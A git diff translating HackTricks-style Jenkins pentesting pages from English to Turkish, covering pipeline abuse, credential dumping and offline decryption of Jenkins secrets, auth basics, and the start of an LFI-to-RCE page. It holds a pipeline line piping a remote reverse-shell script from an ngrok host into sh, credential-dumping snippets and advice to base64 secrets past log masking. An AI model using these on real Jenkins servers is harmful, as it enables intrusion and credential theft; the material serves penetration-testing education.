+Özel bir pipeline'ı çalıştırmak için en yaygın tetikleyiciler şunlardır:
-- **Pull request** to the main branch (or potentially to other branches)
-- **Push to the main branch** (or potentially to other branches)
-- **Update the main branch** and wait until it's executed somehow
+- **Ana dal için pull request** (veya potansiyel olarak diğer dallar için)
+- **Ana dal için push** (veya potansiyel olarak diğer dallar için)
+- **Ana dalı güncelleyin** ve bir şekilde çalıştırılmasını bekleyin
> [!NOTE]
-> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
+> Eğer bir **harici kullanıcıysanız**, **başka bir kullanıcı/organizasyonun** repo ana dalına **PR oluşturmayı** ve **pipeline'ı tetiklemeyi** beklememelisiniz... ama eğer **kötü yapılandırılmışsa**, bunu istismar ederek şirketleri tamamen **tehdit edebilirsiniz**.
### Pipeline RCE
-In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline).
+Önceki RCE bölümünde, [**pipeline'ı değiştirerek RCE elde etme**](./#rce-creating-modifying-pipeline) tekniği zaten belirtilmişti.
-### Checking Env variables
-
-It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
+### Env Değişkenlerini Kontrol Etme
+Tüm pipeline için veya belirli aşamalar için **düz metin env değişkenleri** tanımlamak mümkündür. Bu env değişkenleri **hassas bilgi içermemelidir**, ancak bir saldırgan her zaman **tüm pipeline** yapılandırmalarını/Jenkinsfile'ları kontrol edebilir:
```bash
pipeline {
- agent {label 'built-in'}
- environment {
- GENERIC_ENV_VAR = "Test pipeline ENV variables."
- }
+agent {label 'built-in'}
+environment {
+GENERIC_ENV_VAR = "Test pipeline ENV variables."
+}
- stages {
- stage("Build") {
- environment {
- STAGE_ENV_VAR = "Test stage ENV variables."
- }
- steps {
+stages {
+stage("Build") {
+environment {
+STAGE_ENV_VAR = "Test stage ENV variables."
+}
+steps {
```
+### Gizli bilgileri dökme
-### Dumping secrets
-
-For information about how are secrets usually treated by Jenkins check out the basic information:
+Jenkins'in gizli bilgileri genellikle nasıl ele aldığı hakkında bilgi için temel bilgilere göz atın:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
-
-There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
+Kimlik bilgileri **küresel sağlayıcılara** (`/credentials/`) veya **belirli projelere** (`/job//configure`) **sınırlanabilir**. Bu nedenle, hepsini dışarı aktarmak için **gizli bilgileri içeren tüm projeleri en azından ele geçirmeniz** ve özel/zehirli boru hatlarını çalıştırmanız gerekir.
+Başka bir sorun var, bir boru hattının **env**'sinde bir **gizli bilgi** almak için **gizli bilginin adını ve türünü bilmeniz** gerekir. Örneğin, bir **`usernamePassword`** **gizli bilgisini** **`string`** **gizli bilgisi** olarak **yüklemeye** çalışırsanız bu **hata** ile karşılaşırsınız:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
-
-Here you have the way to load some common secret types:
-
+Burada bazı yaygın gizli türlerini yüklemenin yolu var:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
- sh '''
- env #Search for USERNAME and PASS
- '''
+sh '''
+env #Search for USERNAME and PASS
+'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
- sh '''
- env #Search for SECRET
- '''
+sh '''
+env #Search for SECRET
+'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
- sh '''
- env # Search for USERPASS
- '''
+sh '''
+env # Search for USERPASS
+'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
- string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
- sh '''
- env
- '''
+string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
+sh '''
+env
+'''
}
```
-
-At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
+Sayfanın sonunda **tüm kimlik bilgisi türlerini** bulabilirsiniz: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
-> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
-> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation).
+> **Tüm sırları bir kerede dökmenin** en iyi yolu, **Jenkins** makinesini **tehdit etmek** (örneğin, **yerleşik düğüm** üzerinde ters bir shell çalıştırmak) ve ardından **master anahtarlarını** ve **şifrelenmiş sırları** **sızdırmak** ve bunları çevrimdışı olarak çözmektir.\
+> Bunu nasıl yapacağınız hakkında daha fazla bilgi için [Düğümler ve Ajanlar bölümüne](./#nodes-and-agents) ve [Sonrası Sömürü bölümüne](./#post-exploitation) bakın.
-### Triggers
+### Tetikleyiciler
-From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
-
-Cron example:
+[Belgelerden](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): `triggers` direktifi, Pipeline'ın **otomatik olarak yeniden tetiklenmesi gereken yolları** tanımlar. GitHub veya BitBucket gibi bir kaynakla entegre olan Pipelinelar için, `triggers` gerekli olmayabilir çünkü webhook tabanlı entegrasyon zaten mevcut olabilir. Mevcut tetikleyiciler `cron`, `pollSCM` ve `upstream`'dir.
+Cron örneği:
```bash
triggers { cron('H */4 * * 1-5') }
```
+Check **diğer örnekleri belgelerde**.
-Check **other examples in the docs**.
+### Düğümler & Ajanlar
-### Nodes & Agents
+Bir **Jenkins örneği**, **farklı makinelerde çalışan farklı ajanlara** sahip olabilir. Bir saldırgan perspektifinden, farklı makinelere erişim, **çalıntı potansiyel bulut kimlik bilgileri** veya diğer makineleri istismar etmek için kullanılabilecek **farklı ağ erişimleri** anlamına gelir.
-A **Jenkins instance** might have **different agents running in different machines**. From an attacker perspective, access to different machines means **different potential cloud credentials** to steal or **different network access** that could be abuse to exploit other machines.
-
-For more information check the basic information:
+Daha fazla bilgi için temel bilgilere bakın:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
+**Yapılandırılmış düğümleri** `/computer/` içinde listeleyebilirsiniz, genellikle **`Yerleşik Düğüm`** (Jenkins'i çalıştıran düğüm) ve potansiyel olarak daha fazlasını bulacaksınız:
.png>)
-It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
-
-To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
+**Yerleşik düğümü ele geçirmek** özellikle ilginçtir çünkü hassas Jenkins bilgilerini içerir.
+**Yerleşik Jenkins düğümünde** **pipeline'ı çalıştırmak** istediğinizi belirtmek için pipeline içinde aşağıdaki yapılandırmayı belirtebilirsiniz:
```bash
pipeline {
- agent {label 'built-in'}
+agent {label 'built-in'}
```
+### Tam örnek
-### Complete example
-
-Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
-
+Belirli bir ajan içindeki pipeline, bir cron tetikleyicisi ile, pipeline ve aşama ortam değişkenleri ile, bir adımda 2 değişken yükleyerek ve ters shell göndererek:
```bash
pipeline {
- agent {label 'built-in'}
- triggers { cron('H */4 * * 1-5') }
- environment {
- GENERIC_ENV_VAR = "Test pipeline ENV variables."
- }
+agent {label 'built-in'}
+triggers { cron('H */4 * * 1-5') }
+environment {
+GENERIC_ENV_VAR = "Test pipeline ENV variables."
+}
- stages {
- stage("Build") {
- environment {
- STAGE_ENV_VAR = "Test stage ENV variables."
- }
- steps {
- withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
- string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
- sh '''
- curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
- '''
- }
- }
- }
+stages {
+stage("Build") {
+environment {
+STAGE_ENV_VAR = "Test stage ENV variables."
+}
+steps {
+withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
+string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
+sh '''
+curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
+'''
+}
+}
+}
- post {
- always {
- cleanWs()
- }
- }
+post {
+always {
+cleanWs()
+}
+}
}
```
-
-## Arbitrary File Read to RCE
+## Keyfi Okuma ile RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -326,43 +306,40 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## Post Exploitation
+## İstismar Sonrası
### Metasploit
-
```
msf> post/multi/gather/jenkins_gather
```
+### Jenkins Gizli Anahtarları
-### Jenkins Secrets
+Yeterli izinleriniz varsa `/credentials/` erişerek gizli anahtarları listeleyebilirsiniz. Bunun yalnızca `credentials.xml` dosyasındaki gizli anahtarları listeleyeceğini unutmayın, ancak **build yapılandırma dosyaları** da **daha fazla gizli anahtar** içerebilir.
-You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
-
-If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
+Eğer **her projenin yapılandırmasını görebiliyorsanız**, orada **depo erişimi için kullanılan gizli anahtarların (gizli anahtarlar)** ve **projenin diğer gizli anahtarlarının** isimlerini de görebilirsiniz.
.png>)
-#### From Groovy
+#### Groovy'den
{{#ref}}
jenkins-dumping-secrets-from-groovy.md
{{#endref}}
-#### From disk
+#### Diskten
-These files are needed to **decrypt Jenkins secrets**:
+Bu dosyalar **Jenkins gizli anahtarlarını şifre çözmek için** gereklidir:
- secrets/master.key
- secrets/hudson.util.Secret
-Such **secrets can usually be found in**:
+Böyle **gizli anahtarlar genellikle** şunlarda bulunabilir:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
-Here's a regex to find them:
-
+Onları bulmak için bir regex:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}
```
+#### Jenkins sırlarını çevrimdışı çöz
-#### Decrypt Jenkins secrets offline
-
-If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
-
+Eğer **sırları çözmek için gerekli şifreleri dökümlediyseniz**, **bu scripti** kullanarak **o sırları çözebilirsiniz**.
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
-
-#### Decrypt Jenkins secrets from Groovy
-
+#### Groovy'den Jenkins sırlarını çözme
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
+### Yeni admin kullanıcısı oluştur
-### Create new admin user
+1. `/var/lib/jenkins/config.xml` veya `C:\Program Files (x86)\Jenkis\` içindeki Jenkins config.xml dosyasına erişin.
+2. `true` kelimesini arayın ve **`true`** kelimesini **`false`** olarak değiştirin.
+1. `sed -i -e 's/truefalsetrue` olarak değiştirerek **güvenliği tekrar etkinleştirin** ve **Jenkins'i tekrar başlatın**.
-1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
-2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**.
- 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**.
-
-## References
+## Referanslar
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
@@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}"))
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
index 6e62a8536..c4107c8d3 100644
--- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
@@ -1,87 +1,87 @@
-# Basic Jenkins Information
+# Temel Jenkins Bilgisi
{{#include ../../banners/hacktricks-training.md}}
-## Access
+## Erişim
-### Username + Password
+### Kullanıcı Adı + Şifre
-The most common way to login in Jenkins if with a username or a password
+Jenkins'e giriş yapmanın en yaygın yolu bir kullanıcı adı veya şifre iledir.
-### Cookie
+### Çerez
-If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
+Eğer bir **yetkili çerez çalınırsa**, bu çerez kullanıcının oturumuna erişmek için kullanılabilir. Çerez genellikle `JSESSIONID.*` olarak adlandırılır. (Bir kullanıcı tüm oturumlarını sonlandırabilir, ancak önce bir çerezin çalındığını öğrenmesi gerekir).
-### SSO/Plugins
+### SSO/Eklentiler
-Jenkins can be configured using plugins to be **accessible via third party SSO**.
+Jenkins, **üçüncü taraf SSO aracılığıyla erişilebilir** olacak şekilde eklentiler kullanılarak yapılandırılabilir.
-### Tokens
+### Tokenlar
-**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
+**Kullanıcılar tokenlar oluşturabilir** ve uygulamalara kendilerini taklit etme izni verebilirler, bu CLI veya REST API aracılığıyla yapılabilir.
-### SSH Keys
+### SSH Anahtarları
-This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
+Bu bileşen, Jenkins için yerleşik bir SSH sunucusu sağlar. Bu, [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) için alternatif bir arayüzdür ve komutlar bu şekilde herhangi bir SSH istemcisi kullanılarak çağrılabilir. (Kaynak: [docs](https://plugins.jenkins.io/sshd/))
-## Authorization
+## Yetkilendirme
-In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
+`/configureSecurity` içinde **Jenkins'in yetkilendirme yöntemini yapılandırmak** mümkündür. Birkaç seçenek vardır:
-- **Anyone can do anything**: Even anonymous access can administrate the server
-- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
-- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
-- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
+- **Herkes her şeyi yapabilir**: Hatta anonim erişim sunucuyu yönetebilir.
+- **Eski mod**: Jenkins <1.164 ile aynı. Eğer **"admin" rolüne** sahipseniz, sisteme **tam kontrol** verilecektir, aksi takdirde (dahil **anonim** kullanıcılar) **okuma** erişiminiz olacaktır.
+- **Giriş yapmış kullanıcılar her şeyi yapabilir**: Bu modda, her **giriş yapmış kullanıcı Jenkins'in tam kontrolüne** sahiptir. Tam kontrolü olmayan tek kullanıcı **anonim kullanıcıdır**, yalnızca **okuma erişimi** alır.
+- **Matris tabanlı güvenlik**: **Kimin ne yapabileceğini** bir tabloda yapılandırabilirsiniz. Her **sütun** bir **izin** temsil eder. Her **satır** bir **kullanıcı veya grup/rolü temsil eder.** Bu, **kimlik doğrulanmamış kullanıcıları** temsil eden özel bir kullanıcı '**anonim**' ve **tüm kimlik doğrulanmış kullanıcıları** temsil eden '**kimlik doğrulanmış**' içerir.
.png>)
-- **Project-based Matrix Authorization Strategy:** This mode is an **extension** to "**Matrix-based security**" that allows additional ACL matrix to be **defined for each project separately.**
-- **Role-Based Strategy:** Enables defining authorizations using a **role-based strategy**. Manage the roles in `/role-strategy`.
+- **Proje tabanlı Matris Yetkilendirme Stratejisi:** Bu mod, her proje için ayrı ayrı **ek ACL matrisinin tanımlanmasına** olanak tanıyan "**Matris tabanlı güvenlik**" için bir **uzantıdır.**
+- **Rol Tabanlı Strateji:** **Rol tabanlı bir strateji** kullanarak yetkilendirmeleri tanımlamayı sağlar. Rolleri `/role-strategy` içinde yönetin.
-## **Security Realm**
+## **Güvenlik Alanı**
-In `/configureSecurity` it's possible to **configure the security realm.** By default Jenkins includes support for a few different Security Realms:
+`/configureSecurity` içinde **güvenlik alanını yapılandırmak** mümkündür. Varsayılan olarak Jenkins, birkaç farklı Güvenlik Alanı desteği içerir:
-- **Delegate to servlet container**: For **delegating authentication a servlet container running the Jenkins controller**, such as [Jetty](https://www.eclipse.org/jetty/).
-- **Jenkins’ own user database:** Use **Jenkins’s own built-in user data store** for authentication instead of delegating to an external system. This is enabled by default.
-- **LDAP**: Delegate all authentication to a configured LDAP server, including both users and groups.
-- **Unix user/group database**: **Delegates the authentication to the underlying Unix** OS-level user database on the Jenkins controller. This mode will also allow re-use of Unix groups for authorization.
+- **Servlet konteynerine devret**: **Jenkins denetleyicisini çalıştıran bir servlet konteynerine kimlik doğrulama devretmek için**, örneğin [Jetty](https://www.eclipse.org/jetty/).
+- **Jenkins'in kendi kullanıcı veritabanı:** Dış bir sisteme devretmek yerine **Jenkins'in kendi yerleşik kullanıcı veri deposunu** kimlik doğrulama için kullanın. Bu varsayılan olarak etkindir.
+- **LDAP**: Tüm kimlik doğrulamayı yapılandırılmış bir LDAP sunucusuna devredin, hem kullanıcıları hem de grupları içerir.
+- **Unix kullanıcı/grup veritabanı**: **Kimlik doğrulamayı Jenkins denetleyicisindeki temel Unix** OS düzeyindeki kullanıcı veritabanına devreder. Bu mod, yetkilendirme için Unix gruplarının yeniden kullanılmasına da olanak tanır.
-Plugins can provide additional security realms which may be useful for incorporating Jenkins into existing identity systems, such as:
+Eklentiler, Jenkins'i mevcut kimlik sistemlerine entegre etmek için yararlı olabilecek ek güvenlik alanları sağlayabilir, örneğin:
- [Active Directory](https://plugins.jenkins.io/active-directory)
-- [GitHub Authentication](https://plugins.jenkins.io/github-oauth)
+- [GitHub Kimlik Doğrulama](https://plugins.jenkins.io/github-oauth)
- [Atlassian Crowd 2](https://plugins.jenkins.io/crowd2)
-## Jenkins Nodes, Agents & Executors
+## Jenkins Düğümleri, Ajanlar & Yürütücüler
-Definitions from the [docs](https://www.jenkins.io/doc/book/managing/nodes/):
+[docs](https://www.jenkins.io/doc/book/managing/nodes/) tanımları:
-**Nodes** are the **machines** on which build **agents run**. Jenkins monitors each attached node for disk space, free temp space, free swap, clock time/sync and response time. A node is taken offline if any of these values go outside the configured threshold.
+**Düğümler**, **inşa ajanlarının çalıştığı makineler**dir. Jenkins, her bağlı düğümü disk alanı, boş geçici alan, boş takas, saat zamanı/senkronizasyon ve yanıt süresi için izler. Bu değerlerden herhangi biri yapılandırılmış eşik değerinin dışına çıkarsa, bir düğüm çevrimdışı alınır.
-**Agents** **manage** the **task execution** on behalf of the Jenkins controller by **using executors**. An agent can use any operating system that supports Java. Tools required for builds and tests are installed on the node where the agent runs; they can **be installed directly or in a container** (Docker or Kubernetes). Each **agent is effectively a process with its own PID** on the host machine.
+**Ajanlar**, **görev yürütmesini** Jenkins denetleyicisi adına **yürütücüler kullanarak yönetir**. Bir ajan, Java'yı destekleyen herhangi bir işletim sistemini kullanabilir. İnşa ve testler için gereken araçlar, ajanın çalıştığı düğümde kurulu olmalıdır; bunlar **doğrudan veya bir konteynerde** (Docker veya Kubernetes) kurulabilir. Her **ajan, ana makinede kendi PID'sine sahip bir süreçtir**.
-An **executor** is a **slot for execution of tasks**; effectively, it is **a thread in the agent**. The **number of executors** on a node defines the number of **concurrent tasks** that can be executed on that node at one time. In other words, this determines the **number of concurrent Pipeline `stages`** that can execute on that node at one time.
+Bir **yürütücü**, **görevlerin yürütülmesi için bir yerdir**; etkili bir şekilde, bu **ajan içindeki bir ipliktir**. Bir düğümdeki **yürütücü sayısı**, o düğümde aynı anda yürütülebilecek **eşzamanlı görevlerin** sayısını tanımlar. Diğer bir deyişle, bu, o düğümde aynı anda yürütülebilecek **eşzamanlı Pipeline `aşamalarının`** sayısını belirler.
-## Jenkins Secrets
+## Jenkins Gizli Bilgileri
-### Encryption of Secrets and Credentials
+### Gizli Bilgilerin ve Kimlik Bilgilerinin Şifrelenmesi
-Definition from the [docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials): Jenkins uses **AES to encrypt and protect secrets**, credentials, and their respective encryption keys. These encryption keys are stored in `$JENKINS_HOME/secrets/` along with the master key used to protect said keys. This directory should be configured so that only the operating system user the Jenkins controller is running as has read and write access to this directory (i.e., a `chmod` value of `0700` or using appropriate file attributes). The **master key** (sometimes referred to as a "key encryption key" in cryptojargon) is **stored \_unencrypted**\_ on the Jenkins controller filesystem in **`$JENKINS_HOME/secrets/master.key`** which does not protect against attackers with direct access to that file. Most users and developers will use these encryption keys indirectly via either the [Secret](https://javadoc.jenkins.io/byShortName/Secret) API for encrypting generic secret data or through the credentials API. For the cryptocurious, Jenkins uses AES in cipher block chaining (CBC) mode with PKCS#5 padding and random IVs to encrypt instances of [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) which are stored in `$JENKINS_HOME/secrets/` with a filename corresponding to their `CryptoConfidentialKey` id. Common key ids include:
+[docs](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials) tanımına göre: Jenkins, **gizli bilgileri**, kimlik bilgilerini ve bunların ilgili şifreleme anahtarlarını korumak için **AES kullanır**. Bu şifreleme anahtarları, belirtilen anahtarları korumak için kullanılan anahtar ile birlikte `$JENKINS_HOME/secrets/` dizininde saklanır. Bu dizin, yalnızca Jenkins denetleyicisinin çalıştığı işletim sistemi kullanıcısının bu dizine okuma ve yazma erişimine sahip olacak şekilde yapılandırılmalıdır (yani, `chmod` değeri `0700` veya uygun dosya nitelikleri kullanılarak). **Anahtar** (bazen kripto jargonunda "anahtar şifreleme anahtarı" olarak adlandırılır) **şifrelenmemiş olarak** Jenkins denetleyici dosya sisteminde **`$JENKINS_HOME/secrets/master.key`** içinde saklanır ve bu, o dosyaya doğrudan erişimi olan saldırganlara karşı koruma sağlamaz. Çoğu kullanıcı ve geliştirici, bu şifreleme anahtarlarını ya [Secret](https://javadoc.jenkins.io/byShortName/Secret) API'si aracılığıyla genel gizli veri şifrelemesi için ya da kimlik bilgileri API'si aracılığıyla dolaylı olarak kullanacaktır. Kripto meraklıları için, Jenkins, [CryptoConfidentialKey](https://javadoc.jenkins.io/byShortName/CryptoConfidentialKey) örneklerini şifrelemek için PKCS#5 doldurma ve rastgele IV'ler ile CBC modunda AES kullanır ve bunlar `$JENKINS_HOME/secrets/` içinde `CryptoConfidentialKey` kimliğine karşılık gelen bir dosya adı ile saklanır. Yaygın anahtar kimlikleri şunları içerir:
-- `hudson.util.Secret`: used for generic secrets;
-- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: used for some credentials types;
-- `jenkins.model.Jenkins.crumbSalt`: used by the [CSRF protection mechanism](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery); and
+- `hudson.util.Secret`: genel gizli bilgiler için kullanılır;
+- `com.cloudbees.plugins.credentials.SecretBytes.KEY`: bazı kimlik bilgisi türleri için kullanılır;
+- `jenkins.model.Jenkins.crumbSalt`: [CSRF koruma mekanizması](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery) tarafından kullanılır; ve
-### Credentials Access
+### Kimlik Bilgilerine Erişim
-Credentials can be **scoped to global providers** (`/credentials/`) that can be accessed by any project configured, or can be scoped to **specific projects** (`/job//configure`) and therefore only accessible from the specific project.
+Kimlik bilgileri, herhangi bir yapılandırılmış proje tarafından erişilebilen **küresel sağlayıcılara** (`/credentials/`) **sınırlanabilir** veya **belirli projelere** (`/job//configure`) sınırlanabilir ve bu nedenle yalnızca belirli projeden erişilebilir.
-According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/): Credentials that are in scope are made available to the pipeline without limitation. To **prevent accidental exposure in the build log**, credentials are **masked** from regular output, so an invocation of `env` (Linux) or `set` (Windows), or programs printing their environment or parameters would **not reveal them in the build log** to users who would not otherwise have access to the credentials.
+[**Belgeler**](https://www.jenkins.io/blog/2019/02/21/credentials-masking/) göre: Kapsamda olan kimlik bilgileri, sınırsız bir şekilde pipeline'a sunulur. **İnşa günlüğünde kazara ifşayı önlemek için**, kimlik bilgileri **normal çıktılardan maskelemektedir**, bu nedenle `env` (Linux) veya `set` (Windows) çağrısı veya ortamlarını veya parametrelerini yazdıran programlar, kimlik bilgilerine erişimi olmayan kullanıcılara **günlükte ifşa etmez**.
-**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
+**Bu nedenle, kimlik bilgilerini dışarıya çıkarmak için bir saldırganın, örneğin, bunları base64 yapması gerekir.**
-## References
+## Referanslar
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
@@ -92,7 +92,3 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
index 9d2b232e1..9219ad27a 100644
--- a/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
+++ b/src/pentesting-ci-cd/jenkins-security/jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -2,108 +2,104 @@
{{#include ../../banners/hacktricks-training.md}}
-In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
+Bu blog yazısında, Jenkins'teki Yerel Dosya Dahil Etme açığını RCE'ye dönüştürmenin harika bir yolunu bulmak mümkün: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
-This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
+Bu, bir yerel dosya okuma açığını istismar ederek RCE elde etmek için keyfi bir çerezin oluşturulmasının kötüye kullanıldığı yazının bir kısmının AI tarafından oluşturulmuş özetidir; kendi özetimi oluşturacak zamanım olana kadar:
-### Attack Prerequisites
+### Saldırı Ön Koşulları
-- **Feature Requirement:** "Remember me" must be enabled (default setting).
-- **Access Levels:** Attacker needs Overall/Read permissions.
-- **Secret Access:** Ability to read both binary and textual content from key files.
+- **Özellik Gereksinimi:** "Beni hatırla" etkin olmalıdır (varsayılan ayar).
+- **Erişim Düzeyleri:** Saldırganın Genel/Okuma izinlerine ihtiyacı vardır.
+- **Gizli Erişim:** Anahtar dosyalardan hem ikili hem de metin içeriğini okuma yeteneği.
-### Detailed Exploitation Process
+### Ayrıntılı İstismar Süreci
-#### Step 1: Data Collection
+#### Adım 1: Veri Toplama
-**User Information Retrieval**
+**Kullanıcı Bilgisi Alma**
-- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
- - **Username**
- - **User seed**
- - **Timestamp**
- - **Password hash**
